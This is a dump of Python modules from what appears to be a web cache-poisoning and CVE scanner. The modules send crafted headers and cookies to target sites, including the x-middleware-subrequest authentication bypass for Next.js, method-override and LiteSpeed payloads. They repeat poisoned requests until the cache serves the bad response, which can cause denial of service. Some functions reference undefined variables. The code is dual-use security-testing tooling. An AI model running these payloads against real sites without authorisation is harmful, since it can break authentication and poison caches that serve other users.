37 | url = f"{'/'.join(url.split('/')[:3])}/"
38 | uri = f"{url}{fu[0]}"
39 | if uri.startswith("https://"):
40 | uri = f"https://{uri[8:].replace('//', '/')}"
41 | elif uri.startswith("http://"):
42 | uri = f"https://{uri[7:].replace('//', '/')}"
43 |
44 | # print(uri)
45 | run_cpdos_modules(uri, s, req_main, domain, custom_header, authent, human)
46 | except Exception as e:
47 | logger.exception(e)
48 |
49 |
50 | def run_cpdos_modules(url, s, req_main, domain, custom_header, authent, human):
51 | uri = f"{url}?CPDoS={random.randint(1, 100)}"
52 | headers = {
53 | "User-agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; LCJB; rv:11.0) like Gecko"
54 | }
55 | try:
56 | req_main = s.get(
57 | uri,
58 | headers=headers,
59 | verify=False,
60 | allow_redirects=False,
61 | timeout=15,
62 | auth=authent,
63 | )
64 | logger.debug(req_main.content)
65 |
66 | HHO(uri, s, req_main, authent, human)
67 | HMC(uri, s, req_main, authent, human)
68 | HMO(uri, s, req_main, authent, human)
69 | HHCN(uri, s, req_main, authent)
70 | HBH(url, s, req_main, authent, human)
71 | MHC(url, req_main, authent, human)
72 | path_traversal_check(url, s, req_main, authent)
73 | cpdos_main(uri, s, req_main, authent, human)
74 | # waf_rules(url, s, req_main, authent)
75 | except KeyboardInterrupt:
76 | print(" ! Canceled by keyboard interrupt (Ctrl-C)")
77 | sys.exit()
78 | except Exception as e:
79 | print(e)
80 | logger.exception(e)
81 |
82 |
83 | def check_CPDoS(url, s, req_main, domain, custom_header, authent, human):
84 | if req_main.status_code in [301, 302]:
85 | url = (
86 | req_main.headers["location"]
87 | if "http" in req_main.headers["location"]
88 | else f'{url}{req_main.headers["location"]}'
89 | )
90 |
91 | print("\033[36m ├ CPDoS analysis\033[0m")
92 |
93 | run_cpdos_modules(url, s, req_main, domain, custom_header, authent, human)
94 | crawl_files(url, s, req_main, domain, custom_header, authent, human)
95 |
--------------------------------------------------------------------------------
/modules/CVE.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | from modules.utils import requests, random, re, sys, configure_logger
5 |
6 | from modules.cp_cve.CVE202446982 import datareq_check
7 | from modules.cp_cve.CVE201919326 import silverstripe
8 | from modules.cp_cve.CVE202447374 import litespeed
9 | from modules.cp_cve.CVE20235256 import drupaljsonapi
10 | from modules.cp_cve.CVE202527415 import nuxt_check
11 | from modules.cp_cve.CVE202529927 import middleware
12 |
13 | logger = configure_logger(__name__)
14 |
15 |
16 | def run_cve_modules(url, s, req_main, domain, custom_header, authent, human):
17 | uri = f"{url}?cve={random.randint(1, 999)}"
18 | headers = {
19 | "User-agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; LCJB; rv:11.0) like Gecko"
20 | }
21 | try:
22 | req_main = s.get(
23 | uri,
24 | headers=headers,
25 | verify=False,
26 | allow_redirects=False,
27 | timeout=15,
28 | auth=authent,
29 | )
30 | logger.debug(req_main.content)
31 |
32 | datareq_check(url, s, req_main, custom_header, authent)
33 | silverstripe(uri, s, req_main, custom_header, authent)
34 | litespeed(url)
35 | drupaljsonapi(url)
36 | nuxt_check(url, s, req_main, custom_header, authent)
37 | middleware(url)
38 |
39 | #TODO:https://labs.withsecure.com/advisories/plone-cms-cache-poisoning-xss-vulnerability
40 | #TODO:https://github.com/ZephrFish/F5-CVE-2022-1388-Exploit/tree/main
41 |
42 | except requests.Timeout:
43 | #print(f"request timeout {url} {p}")
44 | pass
45 | except KeyboardInterrupt:
46 | print("Exiting")
47 | sys.exit()
48 | except Exception as e:
49 | #print(f"Error : {e}")
50 | logger.exception(e)
51 | pass
52 |
53 |
54 | def check_cpcve(url, s, req_main, domain, custom_header, authent, human):
55 | if req_main.status_code in [301, 302]:
56 | url = (
57 | req_main.headers["location"]
58 | if "http" in req_main.headers["location"]
59 | else f'{url}{req_main.headers["location"]}'
60 | )
61 |
62 | print("\033[36m ├ Cache CVE analysis\033[0m")
63 |
64 | run_cve_modules(url, s, req_main, domain, custom_header, authent, human)
--------------------------------------------------------------------------------
/modules/cookie_reflection.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | """
5 | Cache poisoning via Cookie reflection
6 | https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
7 | """
8 |
9 | from modules.utils import *
10 |
11 | def check_cookie_reflection(url, custom_header, authent):
12 | print("\033[36m ├ Cookies Cache poisoning analysis\033[0m")
13 |
14 | matching_forward = "ndvyepenbvtidpvyzh.com"
15 |
16 | try:
17 | req = requests.get(url, verify=False, timeout=10, headers=custom_header, auth=authent, allow_redirects=False)
18 | res_cookie = req.cookies
19 |
20 | reflected = False
21 | cookie_obj = {}
22 | if res_cookie:
23 | for rc in res_cookie:
24 | #print(rc.value)
25 | if rc.value in req.text:
26 | print(f"\033[36m --├ {rc.value}\033[0m value for the\033[36m {rc.name}\033[0m cookie seems to be reflected in text")
27 | reflected = True
28 | cookie_obj = {rc.name: matching_forward}
29 | #s.cookies.set("{}".format(rc.name), "{}".format(matching_forward), domain="{}".format(rc.domain))
30 | else:
31 | pass
32 | #s.cookies.set("{}".format(rc.name), "{}".format(rc.value), domain="{}".format(rc.domain))
33 | #cookie_obj.update({rc.name: rc.value})
34 | #print(cookie_obj)
35 | #print(s.cookies)
36 | for co in cookie_obj:
37 | payload = f"{co}={cookie_obj[co]}"
38 | if reflected:
39 | url = f"{url}?cb={random.randint(0, 1337)}"
40 | for i in range(10):
41 | try:
42 | req_cookie = requests.get(url, cookies=cookie_obj, verify=False, auth=authent, allow_redirects=False, timeout=10)
43 | #print(req_cookie.text)
44 | except:
45 | pass
46 | #traceback.print_exc()
47 | try:
48 | req_verif = requests.get(url, verify=False, headers=custom_header, auth=authent, allow_redirects=False, timeout=10)
49 | if matching_forward in req_verif.text:
50 | print(f" \033[31m └── VULNERABILITY CONFIRMED\033[0m | COOKIE HEADER REFLECTION | \033[34m{url}\033[0m | PAYLOAD: Cookie: {payload}")
51 | vuln_found_notify(url, payload)
52 | except requests.exceptions.Timeout:
53 | print("timeout")
54 | except Exception as e:
55 | print(f" └── Error {e}")
56 |
57 |
58 | if __name__ == '__main__':
59 | url = "https://0afc0000043c969a805c9e5c00830085.web-security-academy.net/?cb=69"
60 | #url = "http://httpbin.org/cookies"
61 | matching_forward = "titi.com"
62 | cookie_reflection(url, matching_forward)
63 |
--------------------------------------------------------------------------------
/modules/cp_check/cache_poisoning_nf_files.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | """
5 | Web Cache Poisoning on unkeyed Header
6 | https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws#using-web-cache-poisoning-to-exploit-unsafe-handling-of-resource-imports
7 | """
8 |
9 | from modules.utils import requests, random, re, sys, configure_logger, Identify
10 | from modules.lists import header_list
11 |
12 | logger = configure_logger(__name__)
13 |
14 | def valid_reflection(uri, s, pk, authent, matching_forward):
15 | for _ in range(0, 10):
16 | req = s.get(
17 | uri,
18 | headers=pk,
19 | verify=False,
20 | auth=authent,
21 | timeout=10,
22 | allow_redirects=False,
23 | )
24 | req_valid = s.get(
25 | uri,
26 | verify=False,
27 | auth=authent,
28 | timeout=10,
29 | allow_redirects=False,
30 | )
31 | if matching_forward in req_valid.text:
32 | print(
33 | f" {Identify.confirmed} | BODY REFLECTION | RESOURCE FILE | \033[34m{uri}\033[0m | PAYLOAD: {pk if len(pk) < 60 else pk[0:60]}"
34 | )
35 | elif matching_forward in req_valid.headers:
36 | print(
37 | f" {Identify.confirmed} | HEADER REFLECTION | RESOURCE FILE | \033[34m{uri}\033[0m | PAYLOAD: {pk if len(pk) < 60 else pk[0:60]}"
38 | )
39 |
40 |
41 | def check_reflection(url, s, authent, matching_forward):
42 | for hl in header_list:
43 | uri = f"{url}?cb={random.randrange(9999)}"
44 | pk = {hl: matching_forward}
45 | req = s.get(
46 | uri,
47 | headers=pk,
48 | verify=False,
49 | auth=authent,
50 | timeout=10,
51 | allow_redirects=False,
52 | )
53 | if matching_forward in req.text:
54 | print(
55 | f" {Identify.behavior} | BODY REFLECTION | RESOURCE FILE | \033[34m{uri}\033[0m | PAYLOAD: {pk if len(pk) < 60 else pk[0:60]}"
56 | )
57 | valid_reflection(uri, s, pk, authent, matching_forward)
58 | elif matching_forward in req.headers:
59 | print(
60 | f" {Identify.behavior} | HEADER REFLECTION | RESOURCE FILE | \033[34m{uri}\033[0m | PAYLOAD: {pk if len(pk) < 60 else pk[0:60]}"
61 | )
62 | valid_reflection(uri, s, pk, authent, matching_forward)
63 | else:
64 | pass
65 | if len(list(pk.values())[0]) < 50:
66 | sys.stdout.write(f"\033[34m {pk}\033[0m\r")
67 | sys.stdout.write("\033[K")
68 |
69 |
70 |
71 | def check_cache_files(uri, s, custom_header, authent):
72 |
73 | matching_forward = "ndvyepenbvtidpvyzh"
74 |
75 | for endpoints in ["plopiplop.js", "plopiplop.css"]:
76 | url = f"{uri}{endpoints}"
77 | try:
78 | check_reflection(url, s, authent, matching_forward)
79 | except requests.Timeout:
80 | print(f" └── Timeout Error with {endpoints}")
81 | except KeyboardInterrupt:
82 | print(" ! Canceled by keyboard interrupt (Ctrl-C)")
83 | sys.exit()
84 | except Exception as e:
85 | print(e)
86 | logger.exception(e)
--------------------------------------------------------------------------------
/modules/cp_cve/CVE201919326.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | """
5 | https://www.silverstripe.org/download/security-releases/cve-2019-19326/
6 | https://docs.silverstripe.org/en/3/changelogs/3.7.5/
7 | """
8 |
9 |
10 | from modules.utils import requests, random, sys, configure_logger, Identify
11 |
12 | logger = configure_logger(__name__)
13 |
14 | CONTENT_DELTA_RANGE = 500
15 | BIG_CONTENT_DELTA_RANGE = 1000
16 |
17 |
18 | def confirm_vuln(url, s, authent, headers):
19 | for _ in range(5):
20 | req_verify = s.get(url, verify=False, auth=authent, headers=headers, timeout=10, allow_redirects=False)
21 | req_confirm = s.get(url, verify=False, auth=authent, timeout=10, allow_redirects=False)
22 |
23 |
24 | def silverstripe(url, s, req_main, custom_header, authent):
25 |
26 | main_len = len(req_main.content)
27 | headers = {
28 | "X-Original-Url": "plopiplop",
29 | "X-HTTP-Method-Override": "POST"
30 | }
31 | try:
32 | req = s.get(url, verify=False, auth=authent, headers=headers, timeout=10, allow_redirects=False)
33 | len_req = len(req.content)
34 |
35 |
36 | range_exlusion = range(main_len - CONTENT_DELTA_RANGE, main_len + CONTENT_DELTA_RANGE) if main_len < 10000 else range(main_len - BIG_CONTENT_DELTA_RANGE, main_len + BIG_CONTENT_DELTA_RANGE)
37 |
38 | if "plopiplop" in req.text or "plopiplop" in req.headers:
39 | print(f" {Identify.behavior} | CVE-2019-19326 | TAG OK | \033[34m{url}\033[0m | PAYLOAD: {headers}")
40 | confirm_vuln(url, s, authent, headers)
41 | elif len_req not in range_exlusion and req.status_code not in [403, 429, 301, 302]:
42 | print(f" {Identify.behavior} | CVE-2019-19326 | \033[34m{url}\033[0m | DIFFERENT RESPONSE LENGTH {main_len}b > {len_req}b | PAYLOAD: {headers}")
43 | confirm_vuln(url, s, authent, headers)
44 | elif req.status_code != req_main.status_code and req.status_code not in [403, 429]:
45 | print(f" {Identify.behavior} | CVE-2019-19326 | \033[34m{url}\033[0m | DIFFERENT STATUS-CODE | {req_main.status_code} > {req.status_code} | PAYLOAD: {headers}")
46 | confirm_vuln(url, s, authent, headers)
47 | except requests.Timeout:
48 | #print(f"request timeout {url} {p}")
49 | pass
50 | except KeyboardInterrupt:
51 | print("Exiting")
52 | sys.exit()
53 | except Exception as e:
54 | #print(f"Error : {e}")
55 | logger.exception(e)
56 | pass
--------------------------------------------------------------------------------
/modules/cp_cve/CVE20235256.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | """
5 | https://github.com/elttam/publications/blob/master/writeups/CVE-2023-5256.md
6 | """
7 |
8 | from modules.utils import requests, random, sys, configure_logger, Identify
9 |
10 | logger = configure_logger(__name__)
11 |
12 | def drupaljsonapi(url):
13 | payload = "/jsonapi/user/user?filter[a-labex][condition][path]=cachingyourcookie"
14 | uri = f"{url}{payload}"
15 | try:
16 | req = requests.get(uri, verify=False, timeout=10, allow_redirects=False)
17 | if req.status_code not in [200, 301, 302, 307, 308, 401, 403, 404] and "jsonapi" in req.text:
18 | print(f" {Identify.behavior} | CVE-2023-5256 | \033[34m{uri}\033[0m | {req.status_code}")
19 | if "Cookie" in req.text and "User-Agent" in req.text:
20 | print(f" {Identify.confirmed} | CVE-2023-5256 | \033[34m{uri}\033[0m | {req.status_code} | require manual check")
21 | except requests.Timeout:
22 | #print(f"request timeout {url} {p}")
23 | pass
24 | except Exception as e:
25 | #print(f"Error : {e}")
26 | pass
--------------------------------------------------------------------------------
/modules/cp_cve/CVE202446982.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | """
5 | Based on Zhero research
6 | https://zhero-web-sec.github.io/research-and-things/nextjs-cache-and-chains-the-stale-elixir
7 | """
8 |
9 | from modules.utils import requests, random, sys, configure_logger, re, Identify
10 |
11 | logger = configure_logger(__name__)
12 |
13 |
14 | from bs4 import BeautifulSoup
15 | from urllib.parse import urljoin
16 |
17 | COMMON_PATHS = [
18 | "mentions-legales", "mentions", "legal", "cgu", "terms", "conditions",
19 | "terms-of-service", "privacy", "politique-de-confidentialite"
20 | ]
21 |
22 | def get_unrisk_page(base_url, response):
23 | soup = BeautifulSoup(response.text, "html.parser")
24 |
25 | for link in soup.find_all("a", href=True):
26 | href = link["href"].lower()
27 | if any(keyword in href for keyword in COMMON_PATHS):
28 | legal_url = urljoin(base_url, href)
29 | return legal_url
30 |
31 | for path in COMMON_PATHS:
32 | test_url = urljoin(base_url, "/" + path)
33 | try:
34 | response = requests.get(test_url, timeout=5)
35 | if response.status_code == 200:
36 | if re.search(r"mentions\s+legales|conditions\s+générales", response.text, re.IGNORECASE):
37 | return test_url
38 | except requests.RequestException:
39 | continue
40 |
41 | return None
42 |
43 |
44 | def nextjsdos(url, uri, s):
45 | #dangerous
46 | headers = {
47 | "x-now-route-matches": "1"
48 | }
49 | for _ in range(0, 5):
50 | reqdos = s.get(uri, headers=headers, verify=False, auth=authent, timeout=10, allow_redirects=False)
51 | reqverify = s.get(url, verify=False, auth=authent, timeout=10, allow_redirects=False)
52 | if "pageProps" in req.text or len(reqdos.content) == len(reqverify.content):
53 | print(f" {Identify.confirmed} | {url} | {headers}")
54 |
55 |
56 | def datareq_check(url, s, req_main, custom_header, authent):
57 |
58 | uri = f"{url}?__nextDataReq=1"
59 | #print(uri)
60 | main_len = len(req_main.content)
61 | try:
62 | req = requests.get(uri, verify=False, auth=authent, headers=custom_header, timeout=10, allow_redirects=False)
63 | len_req = len(req.content)
64 |
65 | if "pageProps" in req.text or "__N_SSP" in req.text:
66 | print(f" {Identify.behavior} | CVE-2024-46982 | TAG OK | \033[34m{uri}\033[0m | PAYLOAD: x-now-route-matches: 1")
67 | unrisk_page = get_unrisk_page(url, req)
68 | if unrisk_page:
69 | uri = f"{unrisk_page}?__nextDataReq=1"
70 | nextjsdos(unrisk_page, uri, s)
71 | #elif len_req != main_len and req.status_code not in [403, 301, 302]:
72 | #print(f"\033[33m └── [INTERESTING BEHAVIOR]\033[0m | DIFF LENGTH | {uri} | {req.status_code}")
73 | except requests.Timeout:
74 | #print(f"request timeout {url} {p}")
75 | pass
76 | except KeyboardInterrupt:
77 | print("Exiting")
78 | sys.exit()
79 | except Exception as e:
80 | #print(f"Error : {e}")
81 | logger.exception(e)
82 | pass
--------------------------------------------------------------------------------
/modules/cp_cve/CVE202447374.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | """
5 | https://blog.ostorlab.co/litespeed-cache,cve-2024-47374.html
6 | """
7 |
8 | from modules.utils import requests, sys, configure_logger, Identify
9 |
10 | logger = configure_logger(__name__)
11 |
12 |
13 | PAGES = [
14 | 'wp-admin/admin.php?page=lscache-ccss',
15 | 'wp-admin/admin.php?page=lscache',
16 | 'wp-admin/admin.php?page=lscache-purge',
17 | 'wp-admin/admin.php?page=lscache-settings',
18 | 'wp-admin/admin.php?page=lscache-advanced'
19 | ]
20 |
21 | def litespeed(base_url):
22 | headers = {
23 | 'X-LSCACHE-VARY-VALUE': '">'
24 | }
25 |
26 | for page in PAGES:
27 | target_url = f"{base_url}{page}"
28 | try:
29 | response = requests.get(target_url, headers=headers, verify=False, timeout=10)
30 | if 'CVE-2024-47374' in response.text:
31 | print(f" {Identify.confirmed} | CVE-2024-47374| \033[34m{target_url}\033[0m | PAYLOAD: {headers}")
32 | except requests.Timeout:
33 | #print(f"request timeout {url} {p}")
34 | pass
35 | except KeyboardInterrupt:
36 | print("Exiting")
37 | sys.exit()
38 | except Exception as e:
39 | #print(f"Error : {e}")
40 | logger.exception(e)
41 | pass
42 |
43 |
--------------------------------------------------------------------------------
/modules/cp_cve/CVE202527415.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | """
5 | Based on Zhero research
6 | https://zhero-web-sec.github.io/research-and-things/nuxt-show-me-your-payload
7 | """
8 |
9 | from modules.utils import requests, random, sys, configure_logger, re, Identify
10 |
11 | logger = configure_logger(__name__)
12 |
13 | from bs4 import BeautifulSoup
14 | from urllib.parse import urljoin
15 |
16 | COMMON_PATHS = [
17 | "accessibilite", "mentions-legales", "mentions", "legal", "cgu", "terms", "conditions",
18 | "terms-of-service", "privacy", "politique-de-confidentialite", "faq"
19 | ]
20 |
21 | def get_unrisk_page(base_url, response):
22 | soup = BeautifulSoup(response.text, "html.parser")
23 |
24 | for link in soup.find_all("a", href=True):
25 | href = link["href"].lower()
26 | if any(keyword in href for keyword in COMMON_PATHS):
27 | legal_url = urljoin(base_url, href)
28 | return legal_url
29 |
30 | for path in COMMON_PATHS:
31 | test_url = urljoin(base_url, "/" + path)
32 | try:
33 | response = requests.get(test_url, timeout=5)
34 | if response.status_code == 200:
35 | if re.search(r"accessibilite|mentions\s+legales|conditions\s+générales|cgu", response.text, re.IGNORECASE):
36 | return test_url
37 | except requests.RequestException:
38 | continue
39 |
40 | return None
41 |
42 |
43 |
44 | def nuxt_check(url, s, req_main, custom_header, authent):
45 | try:
46 | req = requests.get(url, verify=False, auth=authent, headers=custom_header, timeout=10, allow_redirects=False)
47 |
48 | if "nuxt" in req.text or "nuxt" in req.headers:
49 | unrisk_page = get_unrisk_page(url, req)
50 | #print(unrisk_page)
51 | if unrisk_page:
52 | poison_url = f"{unrisk_page}_payload.json" if unrisk_page[-1] == "/" else f"{unrisk_page}/_payload.json"
53 | req_nuxt = requests.get(poison_url, verify=False, auth=authent, headers=custom_header, timeout=10, allow_redirects=False)
54 | len_req = len(req_nuxt.content)
55 | try:
56 | data = req_nuxt.json()
57 | print(f" {Identify.behavior} | CVE-2025-27415 | TAG OK | \033[34m{poison_url}\033[0m")
58 | except requests.exceptions.JSONDecodeError:
59 | if "application/json" in req_nuxt.headers.get("Content-Type", ""):
60 | print(f" {Identify.behavior} | CVE-2025-27415 | TAG OK | \033[34m{poison_url}\033[0m")
61 | elif req_nuxt.status_code != req.status:
62 | print(f" {Identify.behavior} | CVE-2025-27415 | DIFFERENT RESPONSE {req.status_code} > {req_nuxt.status_code}| \033[34m{url}\033[0m")
63 | #check exploit
64 | req_verify = requests.get(unrisk_page, verify=False, auth=authent, headers=custom_header, timeout=10, allow_redirects=False)
65 | try:
66 | data = req_verify.json()
67 | print(f" {Identify.confirmed} | CVE-2025-27415 | TAG OK | \033[34m{unrisk_page}\033[0m")
68 | except requests.exceptions.JSONDecodeError:
69 | if "application/json" in req_verify.headers.get("Content-Type", ""):
70 | print(f" {Identify.confirmed} | CVE-2025-27415 | TAG OK | \033[34m{unrisk_page}\033[0m")
71 | elif req_verify.status_code != req.status:
72 | print(f" {Identify.confirmed} | CVE-2025-27415 | DIFFERENT RESPONSE {req.status_code} > {req_verify.status_code} | \033[34m{unrisk_page}\033[0m")
73 | else:
74 | print(" [i] It seems that the nuxt.js framework is used, but no risk-free pages have been found. Please do a manual check.")
75 |
76 | except requests.Timeout:
77 | #print(f"request timeout {url} {p}")
78 | pass
79 | except KeyboardInterrupt:
80 | print("Exiting")
81 | sys.exit()
82 | except Exception as e:
83 | #print(f"Error : {e}")
84 | logger.exception(e)
85 | pass
--------------------------------------------------------------------------------
/modules/cp_cve/CVE202529927.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | """
5 | https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
6 | """
7 |
8 | from modules.utils import requests, random, sys, configure_logger, re, Identify
9 |
10 | logger = configure_logger(__name__)
11 |
12 | from bs4 import BeautifulSoup
13 | from urllib.parse import urljoin
14 |
15 |
16 | requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
17 |
18 |
19 | middleware_names = [
20 | 'middleware',
21 | 'pages/_middleware',
22 | 'pages/dashboard/_middleware',
23 | 'pages/dashboard/panel/_middleware',
24 | 'src/middleware',
25 | 'middleware:middleware:middleware:middleware:middleware',
26 | 'src/middleware:src/middleware:src/middleware:src/middleware:src/middleware'
27 | ]
28 |
29 | paths = [
30 | '',
31 | 'login',
32 | 'admin',
33 | 'admin/login',
34 | 'administrator',
35 | 'administration/',
36 | 'administration/dashboard/',
37 | 'administration/dashboard/products',
38 | 'panel',
39 | 'admin.php',
40 | 'dashboard',
41 | 'api/secret',
42 | ]
43 |
44 |
45 | def is_authentication_page(html):
46 | soup = BeautifulSoup(html, 'html.parser')
47 | body_text = soup.get_text(" ", strip=True)
48 |
49 | auth_keywords = re.compile(r"(identifiant|login|username|user|passwd|pass|password|connexion|authentification|signin|auth|log in|log-in|admin)", re.IGNORECASE)
50 |
51 | return bool(auth_keywords.search(body_text))
52 |
53 |
54 | def follow_redirects(url):
55 | try:
56 | req_redir = requests.get(url, verify=False, timeout=10, allow_redirects=True)
57 | #print(is_authentication_page(req_redir.text))
58 | if is_authentication_page(req_redir.text):
59 | #print(req_redir.headers)
60 | return True
61 | else:
62 | return False
63 | except requests.RequestException as e:
64 | pass
65 |
66 |
67 | def bypass_auth(url_p, req):
68 | for middleware_name in middleware_names:
69 | headers = {
70 | 'User-Agent': 'Mozilla/5.0',
71 | 'x-middleware-subrequest': middleware_name
72 | }
73 | try:
74 | req_bypass = requests.get(url_p, headers=headers, verify=False, timeout=10, allow_redirects=False)
75 | #print(f"{url_p} :: {req_bypass}")
76 | if req_bypass.status_code not in range(300, 500) and req_bypass.status_code != req.status_code:
77 | print(f"\033[31m └── [VULNERABILITY CONFIRMED]\033[0m | BYPASS {req.status_code} > {req_bypass.status_code} | {len(req.content)}b > {len(req_bypass.content)}b | \033[34m{url_p}\033[0m | PAYLOAD: x-middleware-subrequest: {middleware_name}")
78 | except Exception as e:
79 | #traceback.print_exc()
80 | pass
81 |
82 |
83 | def detect_response(url, req_main, headers):
84 | if re.search(r'\/([^/]+(?:\.[a-z]+)?|[^/]+$)', url):
85 | if req_main.status_code in range(300, 310):
86 | fr = follow_redirects(url)
87 | #print(fr)
88 | if fr:
89 | bypass_auth(url, req_main)
90 | elif req_main.status_code in [401, 403]:
91 | bypass_auth(url, req_main)
92 | parsed_url = urlparse(url)
93 | url = f"{parsed_url.scheme}://{parsed_url.netloc}/"
94 | for path in paths:
95 | url_p = url + path
96 | req_check = requests.get(url_p, headers=headers, verify=False, timeout=10, allow_redirects=False)
97 | try:
98 | if req_check.status_code in range(300, 310):
99 | #print(f"{url} :: {follow_redirects(url)}")
100 | if follow_redirects(url):
101 | bypass_auth(url_p, req_check)
102 | elif req_check.status_code in [401, 403]:
103 | bypass_auth(url_p, req_check)
104 | except Exception as e:
105 | #traceback.print_exc()
106 | pass
107 |
108 |
109 | def cache_p(url, req_main, headers):
110 | url_cb = f"{url}?cb=1234"
111 | try:
112 | req_cb = requests.get(url_cb, headers=headers, verify=False, timeout=10, allow_redirects=False)
113 | if req_cb.status_code in [307, 308, 304, 301, 302]:
114 | for middleware_name in middleware_names:
115 | headers = {
116 | 'User-Agent': 'Mozilla/5.0',
117 | 'x-middleware-subrequest': middleware_name
118 | }
119 | url_cp = f"{url}?cb={random.randrange(999)}"
120 | req_cp = requests.get(url_cp, headers=headers, verify=False, timeout=10, allow_redirects=False)
121 | if req_cp.status_code not in [307, 308, 304, 301, 302]:
122 | print(f"\033[33m └── [INTERESTING BEHAVIOR]\033[0m | CPDoSError {req_cb.status_code} > {req_cp.status_code} | \033[34m{url_cp}\033[0m | PAYLOAD: x-middleware-subrequest: {middleware_name}")
123 | for _ in range(0, 5):
124 | requests.get(url_cp, headers=headers, verify=False, timeout=10, allow_redirects=False)
125 | req_cp_verify = requests.get(url_cp, verify=False, timeout=10, allow_redirects=False)
126 | if req_cp.status_code == req_cp_verify.status_code:
127 | print(f"\033[31m └── [VULNERABILITY CONFIRMED]\033[0m | CPDoSError {req_cb.status_code} > {req_cp.status_code} | \033[34m{url_cp}\033[0m | PAYLOAD: x-middleware-subrequest: {middleware_name}")
128 | except requests.Timeout:
129 | #print(f"request timeout {url} {p}")
130 | pass
131 | except Exception as e:
132 | #traceback.print_exc()
133 | pass
134 |
135 |
136 | def middleware(url):
137 | try:
138 | req_main = requests.get(url, headers=headers, verify=False, timeout=10, allow_redirects=False)
139 | detect_response(url, req_main, headers)
140 | cache_p(url, req_main, headers)
141 | except KeyboardInterrupt:
142 | print("Exiting")
143 | sys.exit()
144 | except requests.Timeout:
145 | #print(f"request timeout {url} {p}")
146 | pass
147 | except Exception as e:
148 | #traceback.print_exc()
149 | logger.exception(e)
150 | pass
151 |
152 |
153 | if __name__ == "__main__":
154 | # file => python3 file.py f file.txt | single url => python3 file.py url.com
155 | headers = {
156 | 'User-Agent': 'Mozilla/5.0',
157 | 'Accept-Encoding': 'gzip'
158 | }
159 |
160 |
161 | if len(sys.argv) == 2:
162 | url = sys.argv[1]
163 | parsed_url = urlparse(url)
164 | if parsed_url.scheme == "http" or parsed_url.scheme == "https":
165 | print(url)
166 | main(url)
167 | else:
168 | print("Usage:\n With file => python3 file.py f file.txt \n With single url => python3 file.py url.com")
169 | elif len(sys.argv) == 3:
170 | input_file = sys.argv[2]
171 | with open(input_file, 'r') as f:
172 | urls = [line.strip() for line in f if line.strip()]
173 | for url in urls:
174 | main(url)
175 | print(f" {url}", end='\r')
176 | else:
177 | print("Usage:\n With file => python3 file.py f file.txt \n With single url => python3 file.py url.com")
--------------------------------------------------------------------------------
/modules/cpdos/basic_cpdos.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | """
5 | Attempts to find Cache Poisoning Denial of Service (CpDoS) error based
6 | https://cpdos.org/
7 | """
8 |
9 | from modules.lists import payloads_keys
10 | from modules.utils import requests, random, sys, configure_logger, human_time, Identify
11 |
12 | logger = configure_logger(__name__)
13 |
14 |
15 | def check_cached_status(url, s, pk, main_status_code, authent):
16 | behavior = False
17 | confirmed = False
18 | cache_status = False
19 |
20 | for _ in range(0, 5):
21 | req = s.get(
22 | url,
23 | headers=pk,
24 | verify=False,
25 | allow_redirects=False,
26 | auth=authent,
27 | timeout=10,
28 | )
29 | req_verify = s.get(
30 | url, verify=False, allow_redirects=False, auth=authent, timeout=10
31 | )
32 | # print(f"{req.status_code} :: {req_verify.status_code}")
33 | if (
34 | req.status_code == req_verify.status_code
35 | and req.status_code not in [429, 200, 304, 303]
36 | or req_verify.status_code not in [429, 200, 304, 303]
37 | and req_verify.status_code != main_status_code
38 | ):
39 | behavior = True
40 | for rh in req_verify.headers:
41 | if "age" in rh.lower() or "hit" in req_verify.headers[rh].lower():
42 | confirmed = True
43 | cache_status = True
44 | elif req.status_code != req_verify.status_code and req.status_code == 304:
45 | for rh in req_verify.headers:
46 | if "age" in rh.lower() or "hit" in req_verify.headers[rh].lower():
47 | behavior = True
48 | cache_status = True
49 | elif req.status_code != req_verify.status_code and req.status_code not in [
50 | 429,
51 | 304,
52 | ]:
53 | for rh in req_verify.headers:
54 | if "age" in rh.lower() or "hit" in req_verify.headers[rh].lower():
55 | behavior = True
56 | cache_status = True
57 |
58 | cache_status = (
59 | f"\033[31m{cache_status}\033[0m"
60 | if not cache_status
61 | else f"\033[32m{cache_status}\033[0m"
62 | )
63 | if confirmed:
64 | #print(headers)
65 | print(
66 | f" {Identify.confirmed} | CPDoSError {main_status_code} > {req.status_code} | CACHETAG : {cache_status} | \033[34m{url}\033[0m | PAYLOAD: {pk}"
67 | )
68 | behavior = False
69 | confirmed = False
70 | elif behavior:
71 | print(
72 | f" {Identify.behavior} | CPDoSError {main_status_code} > {req.status_code} | CACHETAG : {cache_status} | \033[34m{url}\033[0m | PAYLOAD: {pk if len(pk) < 60 else pk[0:60]}"
73 | )
74 |
75 |
76 | def check_cached_len(url, s, pk, main_len, authent):
77 | behavior = False
78 | confirmed = False
79 | cache_status = False
80 |
81 | for _ in range(0, 5):
82 | req = s.get(
83 | url,
84 | headers=pk,
85 | verify=False,
86 | allow_redirects=False,
87 | auth=authent,
88 | timeout=10,
89 | )
90 | req_verify = s.get(
91 | url, verify=False, allow_redirects=False, auth=authent, timeout=10
92 | )
